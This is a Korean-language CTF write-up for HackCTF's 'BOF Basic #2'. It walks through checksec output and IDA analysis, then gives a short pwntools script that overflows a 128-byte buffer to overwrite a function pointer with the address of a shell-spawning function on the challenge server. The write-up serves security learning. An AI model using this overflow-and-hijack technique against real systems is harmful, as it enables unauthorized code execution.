1 분 소요

[HackCTF] BOF Basic #2 풀이

Environments

Name Config
CPU Apple M1
Architecture ARM64
OS Microsoft Windows 11 on ARM
Tools - gdb-peda
- Hex-Rays IDA 7.5

Problem

Get Input
Print 하아아아아아아아앙

요약: bof_basic2, nc ctf.j0n9hyun.xyz 3001 으로부터 flag 찾기

File Format

x86 ELF LSB Executable, Not Stripped, Not UPX Packed

checksec

Name Status
CANARY disabled
FORTIFY disabled
NX ENABLED
PIE disabled
RELRO Partial
  • Can overwrite GOT

Solution

우선 Function 정보를 info func를 통해 확인 함. system func call 이 이루어지므로 해당 func을 호출하는 것을 목표로 정함.

다만 main func를 보면 따로 fgets 외에 별다른 call 이 없음. call eax를 통해 진행되는 것 확인. system@plt 가 존재 하므로 어디선가는 확실히 call을 함.

IDA를 통해 정적 분석으로 이동. void 형 pointer 발견. 이 후 v5에 sup method를 넣음. 또한 메모리의경우 0x8C 를 서로 나눈 것으로 확인. ebp로부터 0x80 (128), 0xC (12) 만큼 서로 나눔. fgets가 133 까지 입력을 받으므로 s를 bof 시켜 v5에 들어갈 sup func 의 주소를 바꿀 수 있음.

sup 메서드는 단순 puts를 호출하는 메서드 임을 확인. func 목록 중 이제서야 shell 이라는 누가봐도 답 혹은 함정 일 것 같은 func 뒤늦게 발견. 판단 오류였다. 왜 정보를 놓쳤는가…다시 한번 다짐한다.

system을 call 하는 것 확인. 이제 sup의 주소를 0x0804849b로 자연스럽게 넘기면 system@plt call 가능.

Exploit Scenario

# p32: 4 Byte packing
payload = "Z" * 128 + p32(0x0804849b)

Exploit Code

from pwn import *
context.log_level = "DEBUG" # set log level to debug

p = remote("ctf.j0n9hyun.xyz", 3001)
payload = "Z" * 128 + p32(0x0804849b)

p.sendline(payload) # send payload to p
p.interactive() # Prevent closing shell

Result